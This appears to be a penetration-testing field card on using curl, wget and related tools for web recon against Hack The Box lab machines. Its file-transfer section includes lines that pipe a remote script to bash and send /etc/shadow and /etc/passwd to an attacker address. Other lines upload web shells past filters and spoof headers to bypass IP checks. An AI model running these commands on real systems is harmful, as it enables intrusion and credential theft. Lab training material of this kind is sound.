DAEMON//SEC

daemon-sec.xyz

// FIELD CARD · web recon

CURL// WGET

Read headers, craft requests, push them through Burp, and move files on and off a box, all from the terminal.

HEAD REQ AUTH PROXY VHOST XFER WGET ALT FIX

// TOOLS	curl 8.22.0 · GNU Wget 1.25.0 · httpie · nmap
// EXAMPLE	pov.htb (IIS 10 + ASP.NET, from the 0xdf writeup)
// CHECKED	2026-10-13

// SECTION 00

INDEX

01 HEADERS p.4

01 Headers only 5
02 Read them like recon 5
03 Status and timing 5

02 REQUESTS p.6

01 Methods 7
02 POST data 7
03 File upload 7
04 Custom headers 7

03 AUTH + COOKIES p.8

01 Credentials 9
02 Cookies 9

04 PROXY + TLS p.10

01 Through Burp 11
02 TLS 11

05 VHOSTS + REDIRECTS p.12

01 Redirects 13
02 Virtual hosts 13

06 FILE TRANSFER p.14

01 Serve from your box 15
02 Pull onto the target (Linux) 15
03 Pull onto the target (Windows) 15
04 Push loot back 15

07 WGET p.16

01 Basics 17
02 Mirror and spider 17
03 Auth and options 17
04 Git exposure 17

08 ALTERNATIVES p.18

01 httpie (coloured, readable) 19
02 nmap and others 19
03 Pick a tool 19

09 WHEN IT BREAKS p.20

01 Errors 21

// SECTION 00

PICK YOUR TOOL

Grab a site's headers	headers	p.4
Send a form or JSON	requests	p.6
Upload a file / web shell	requests	p.6
Log in, keep a session	auth	p.8
Replay in Burp	proxy	p.10
Self-signed HTTPS	proxy	p.10
Find a vhost	vhosts	p.12
Get linpeas onto a box	transfer	p.14
Download a whole site	wget	p.16
Coloured output	alternatives	p.18
Something's off	breaks	p.20

// SECTION 00

GOLDEN RULES

01 Start every web target with `curl -s -D - -o /dev/null URL`: `Server`, `X-Powered-By` and `Set-Cookie` pick the attack path.

02 Single-quote URLs and bodies. `&`, `?`, `$` and `!` otherwise go to the shell.

03 `-I` sends `HEAD`. When it looks wrong, retry with a real `GET`.

04 A `Location:` to a name = add it to `/etc/hosts` before anything else.

05 Stuck? `-v` first, then `-x http://127.0.0.1:8080` and read it in Burp.

06 On Windows type `curl.exe`, never bare `curl`.

H

// SECTION 01 0x01

HEADERS

what the server tells you before you ask

// IN THIS SECTION

01 Headers only p.5

02 Read them like recon p.5

03 Status and timing p.5

01

STEP 01 HEADERS ONLY

```
curl -I http://pov.htb
```

`HEAD` request, prints only the response headers

```
curl -s -D - -o /dev/null http://pov.htb
```

Headers from a real `GET`, body thrown away. Use this when `HEAD` gets 405 or different headers

```
curl -i http://pov.htb
```

Headers **and** body together

```
curl -v -o /dev/null http://pov.htb
```

Full exchange: `>` lines you sent, `<` lines you got, TLS handshake on stderr

> // WATCH OUT
> Some servers answer `HEAD` differently from `GET`. If `-I` looks thin or errors, use `-D -` with a real `GET`.

STEP 02 READ THEM LIKE RECON

`Server: Microsoft-IIS/10.0`	Web server and version: IIS 10 means Windows Server 2016 or later
`X-Powered-By: ASP.NET`	Framework: on Pov this points at ViewState and .NET deserialisation
`Set-Cookie`	Session names leak the stack: `PHPSESSID`, `JSESSIONID`, `ASP.NET_SessionId`, `laravel_session`
`Location`	Redirect target: often reveals the vhost name to add to `/etc/hosts`
`WWW-Authenticate`	Basic, Digest or NTLM auth wanted. `NTLM` can leak the domain name

```
curl -s -D - -o /dev/null http://pov.htb | grep -iE
  '^(server|x-powered|x-aspnet|set-cookie|location):'
```

Only the headers that matter for fingerprinting

STEP 03 STATUS AND TIMING

```
curl -s -o /dev/null -w '%{http_code}\n' http://pov.htb/admin
```

Just the status code: quick path checks in a loop

```
curl -s -o /dev/null -w '%{http_code} %{size_download} %{redirect_url}\n' URL
```

Code, size and redirect target on one line

```
for p in admin login backup .git/HEAD; do echo "$p $(curl -s -o /dev/null -w '%{http_code}'
  http://pov.htb/$p)"; done
```

Poor man's directory check when ffuf isn't to hand



// SECTION 02 0x02

REQUESTS

methods, bodies, uploads and custom headers

// IN THIS SECTION

01 Methods p.7
02 POST data p.7
03 File upload p.7
04 Custom headers p.7

02

STEP 01 METHODS

```
curl -X OPTIONS -i http://pov.htb
```
Which methods are allowed (`Allow:` header)

```
curl -X PUT --data-binary @shell.aspx http://pov.htb/shell.aspx
```
Try writing a file if `PUT` is allowed (WebDAV)

```
curl -X DELETE http://target.htb/api/users/2
```
Any method works with `-X`

STEP 02 POST DATA

```
curl -d 'user=admin&pass=admin' http://target.htb/login
```
Form POST (application/x-www-form-urlencoded), `-d` implies POST

```
curl --data-urlencode 'q=<script>alert(1)</script>' http://target.htb/search
```
URL-encodes the value for you

```
curl --json '{"user":"admin","pass":"x"}' http://target.htb/api/login
```
JSON body; sets `Content-Type` and `Accept` (curl 7.82+)

```
curl -H 'Content-Type: application/json' -d @body.json http://target.htb/api
```
JSON from a file (older curl)

```
curl -G --data-urlencode 'id=1 OR 1=1' http://target.htb/item
```
`-G` turns `-d` data into a GET query string

STEP 03 FILE UPLOAD

```
curl -F 'file=@shell.php' http://target.htb/upload
```
Multipart upload, as a browser form would send it

```
curl -F 'file=@shell.php;type=image/png;filename=cat.png' http://target.htb/upload
```
Fake the content type and filename to slip past filters

```
curl -F 'file=@shell.php' -F 'submit=Upload' http://target.htb/upload.php
```
Add the other form fields the handler expects

STEP 04 CUSTOM HEADERS

```
curl -H 'X-Forwarded-For: 127.0.0.1' http://target.htb/admin
```
Pretend to be localhost to bypass IP checks

```
curl -A 'Mozilla/5.0' http://target.htb
```
Change the User-Agent (some WAFs block `curl/…`)

```
curl -e 'http://target.htb/' http://target.htb/download
```
Set the Referer

```
curl -H 'User-Agent:' http://target.htb
```
A header with nothing after the colon is removed



// SECTION 03 0x03

AUTH + COOKIES

logging in and staying logged in

// IN THIS SECTION

01 Credentials p.9
02 Cookies p.9

03

STEP 01 CREDENTIALS

`curl -u admin:password http://target.htb/admin`	HTTP Basic auth
`curl --ntlm -u 'DOMAIN\user:pass' http://target.htb`	NTLM auth (IIS intranets)
`curl --digest -u admin:password http://target.htb`	Digest auth
`curl -H 'Authorization: Bearer eyJhbGciOi…' http://target.htb/api/me`	JWT or API token

STEP 02 COOKIES

`curl -b 'PHPSESSID=abc123' http://target.htb/dashboard`	Send a cookie you stole or copied from the browser
`curl -c jar.txt -d 'user=a&pass=b' http://target.htb/login`	Log in, save cookies to `jar.txt`
`curl -b jar.txt http://target.htb/dashboard`	Reuse the saved session
`curl -b jar.txt -c jar.txt -L http://target.htb/`	Read and update the jar on every request (multi-step flows)

> // NOTE
> Cookie jars are Netscape-format text files. `grep -v '^#' jar.txt` shows the values.



// SECTION 04 0x04

PROXY + TLS

send it through Burp, ignore the self-signed cert

// IN THIS SECTION

01 Through Burp p.11
02 TLS p.11

04

STEP 01 THROUGH BURP

```
> curl -x http://127.0.0.1:8080 -k http://pov.htb
```

Request shows up in Burp's HTTP history: replay it there

```
> export https_proxy=http://127.0.0.1:8080 http_proxy=$https_proxy
```

Every curl in this shell goes through Burp

```
> curl --socks5-hostname 127.0.0.1:1080 http://172.16.1.10
```

Through a chisel or ligolo SOCKS pivot, DNS resolved on the far side

```
> curl --noproxy '*' http://pov.htb
```

Skip the proxy for one request

STEP 02 TLS

```
> curl -k https://target.htb
```

Ignore certificate errors (self-signed on most HTB boxes)

```
> curl -vk https://target.htb 2>&1 | grep -E 'subject|issuer|subjectAltName'
```

Cert names: SANs often leak extra vhosts

```
> openssl s_client -connect target.htb:443 </dev/null 2>/dev/null | openssl x509 -noout -text | grep
  DNS:
```

Same, with openssl: every DNS name on the cert

```
> curl --tlsv1.0 --tls-max 1.0 -k https://target.htb
```

Check if old TLS is still accepted



// SECTION 05 0x05

VHOSTS + REDIRECTS

one IP, many sites

// IN THIS SECTION

01 Redirects p.13
02 Virtual hosts p.13

05

STEP 01 REDIRECTS

```
> curl -sIL http://10.10.11.251
```

Follow redirects and print headers from every hop

```
> curl -sI http://10.10.11.251 | grep -i location
```

Redirect to `http://pov.htb/` = add `pov.htb` to `/etc/hosts`

```
> curl -L --max-redirs 5 http://target.htb
```

Cap the hops on redirect loops

STEP 02 VIRTUAL HOSTS

```
> curl -I -H 'Host: dev.pov.htb' http://10.10.11.251
```

Ask the IP for a vhost without touching `/etc/hosts`

```
> curl --resolve dev.pov.htb:80:10.10.11.251 http://dev.pov.htb
```

Pin a name to an IP for this request only (also works for HTTPS/SNI)

```
> for v in dev admin staging; do curl -s -o /dev/null -w "$v %{http_code} %{size_download}\n" -H "Host: $v.pov.htb" http://10.10.11.251; done
```

Quick vhost check: a different size from the default page = real vhost

```
> echo '10.10.11.251 pov.htb dev.pov.htb' | sudo tee -a /etc/hosts
```

Make it permanent once found



// SECTION 06 0x06

FILE TRANSFER

getting tools onto a box and loot off it

// IN THIS SECTION

01 Serve from your box p.15
02 Pull onto the target (Linux) p.15
03 Pull onto the target (Windows) p.15
04 Push loot back p.15

06

STEP 01 SERVE FROM YOUR BOX

```
> python3 -m http.server 8000
```

Serve the current directory on `tun0`; grab your IP with `ip -4 a show tun0`

```
> python3 -m uploadserver 8000
```

Same, plus `/upload` for files coming back (`pip install uploadserver`)

STEP 02 PULL ONTO THE TARGET (LINUX)

```
> curl -o /tmp/linpeas.sh http://10.10.14.5:8000/linpeas.sh
```

Save as a named file

```
> curl -O http://10.10.14.5:8000/linpeas.sh
```

Keep the remote filename

```
> wget -q http://10.10.14.5:8000/pspy64 -O /tmp/pspy64 && chmod +x /tmp/pspy64
```

Same with wget

```
> curl -s http://10.10.14.5:8000/linpeas.sh | bash
```

Run in memory, nothing written to disk

STEP 03 PULL ONTO THE TARGET (WINDOWS)

```
> curl.exe -o C:\Windows\Temp\nc.exe http://10.10.14.5:8000/nc.exe
```

Windows 10+ ships real curl. Type `curl.exe`: in PowerShell `curl` is an alias for `Invoke-WebRequest`

```
> iwr http://10.10.14.5:8000/winPEASx64.exe -OutFile wp.exe
```

PowerShell `Invoke-WebRequest`

```
> certutil -urlcache -split -f http://10.10.14.5:8000/nc.exe nc.exe
```

Old Windows without curl

STEP 04 PUSH LOOT BACK

```
> curl -F 'files=@/etc/passwd' http://10.10.14.5:8000/upload
```

To `uploadserver`

```
> curl -T loot.zip http://10.10.14.5:8000/
```

HTTP `PUT` upload

```
> curl --data-binary @/etc/shadow http://10.10.14.5:9001/
```

Raw body: catch it with `nc -lvnp 9001`



// SECTION 07 0x07

WGET

downloads, mirrors and spidering

// IN THIS SECTION

01 Basics p.17
02 Mirror and spider p.17
03 Auth and options p.17
04 Git exposure p.17

07

STEP 01 BASICS

```
> wget http://target.htb/backup.zip
```
Download to the current directory

```
> wget -O out.html http://target.htb
```
Choose the filename (`-O -` = stdout)

```
> wget -c http://target.htb/big.iso
```
Resume a broken download

```
> wget -S --spider http://pov.htb
```
Headers only, nothing saved: wget's `curl -I`

```
> wget -q -O - http://target.htb | grep -i password
```
Fetch silently and search the page

STEP 02 MIRROR AND SPIDER

```
> wget -r -np -k http://target.htb/docs/
```
Recursive, stay below `docs/`, rewrite links to work offline

```
> wget -m -np -e robots=off http://target.htb/
```
Full mirror, ignore `robots.txt`

```
> wget -r -l 2 -A pdf,docx,xlsx http://target.htb/
```
Only grab documents, two levels deep: metadata goldmine (`exiftool`)

```
> wget --spider -r -nd -nv -o spider.log http://target.htb/ && grep -oE 'http[^ ]+' spider.log | sort -u
```
Map every reachable URL without downloading

```
> wget -r -np -R 'index.html*' http://target.htb/files/
```
Pull an open directory listing, skip the index pages

STEP 03 AUTH AND OPTIONS

```
> wget --user=admin --password=pass http://target.htb/secret
```
Basic auth

```
> wget --header='Cookie: PHPSESSID=abc123' http://target.htb/dashboard
```
Send a cookie

```
> wget --no-check-certificate https://target.htb
```
Ignore a self-signed cert (curl's `-k`)

```
> wget -e use_proxy=yes -e http_proxy=127.0.0.1:8080 http://target.htb
```
Through Burp

```
> wget --post-data='user=a&pass=b' http://target.htb/login
```
POST a form

STEP 04 GIT EXPOSURE

```
> curl -s http://target.htb/.git/HEAD
```
`ref: refs/heads/master` = exposed repo

```
> wget -r -np -nH -R 'index.html*' http://target.htb/.git/
```
Mirror `.git/` if listing is on; then `git checkout -- .`

```
> git-dumper http://target.htb/.git/ ./repo
```
When listing is off (`pip install git-dumper`)



// SECTION 08 0x08

ALTERNATIVES

same job, other tools

// IN THIS SECTION

01 httpie (coloured, readable) p.19
02 nmap and others p.19
03 Pick a tool p.19

08

STEP 01 HTTPIE (COLOURED, READABLE)

```
> http --headers http://pov.htb
```

Headers only, coloured like the 0xdf screenshots

```
> http -v POST target.htb/api/login user=admin pass=x
```

JSON body from `key=value`; `-v` shows the request too

```
> http --verify=no --proxy=http:http://127.0.0.1:8080 https://target.htb
```

No cert check, through Burp

STEP 02 NMAP AND OTHERS

```
> nmap -p80,443 --script http-headers,http-title,http-methods pov.htb
```

Headers, title and methods during the port scan

```
> whatweb -a 3 http://pov.htb
```

Fingerprint the whole stack in one line

```
> nc -nv 10.10.11.251 80
```

Then type `HEAD / HTTP/1.0` and press Enter twice: raw HTTP

```
> printf 'GET / HTTP/1.1\r\nHost: pov.htb\r\nConnection: close\r\n\r\n' | nc 10.10.11.251 80
```

Raw request without curl: handy on a bare target

STEP 03 PICK A TOOL

curl	One-off requests, scripting, uploads, cookies, proxies. Default choice
wget	Downloads, resuming and recursive mirroring
httpie	Reading responses and poking JSON APIs
nmap / whatweb	Fingerprinting many hosts at once



// SECTION 09 0x09

WHEN IT BREAKS

the usual errors

// IN THIS SECTION

01 Errors p.21

09

STEP 01 ERRORS

Could not resolve host: pov.htb	Not in `/etc/hosts` yet; add it, or use `--resolve` / `-H 'Host:'`
SSL certificate problem: self-signed	Add `-k` (curl) or `--no-check-certificate` (wget)
empty output, no error	It's a redirect: add `-L`, or `-i` to see the `Location`
`405` Method Not Allowed on `-I`	Server blocks `HEAD`: use curl -s -D - -o /dev/null URL
Failed to connect … Connection refused	Wrong port or the VPN is down: `ip a show tun0`, `ping` the box
Binary output can mess up your terminal	Add `-o file` or `--output -`
PowerShell `curl` takes odd arguments	That is `Invoke-WebRequest`: call `curl.exe`
special characters break the URL	Quote the URL, or let `--data-urlencode` with `-G` build the query

> // NOTE
> When a request misbehaves, add `-v` first. When it still makes no sense, add `-x http://127.0.0.1:8080` and look at it in Burp.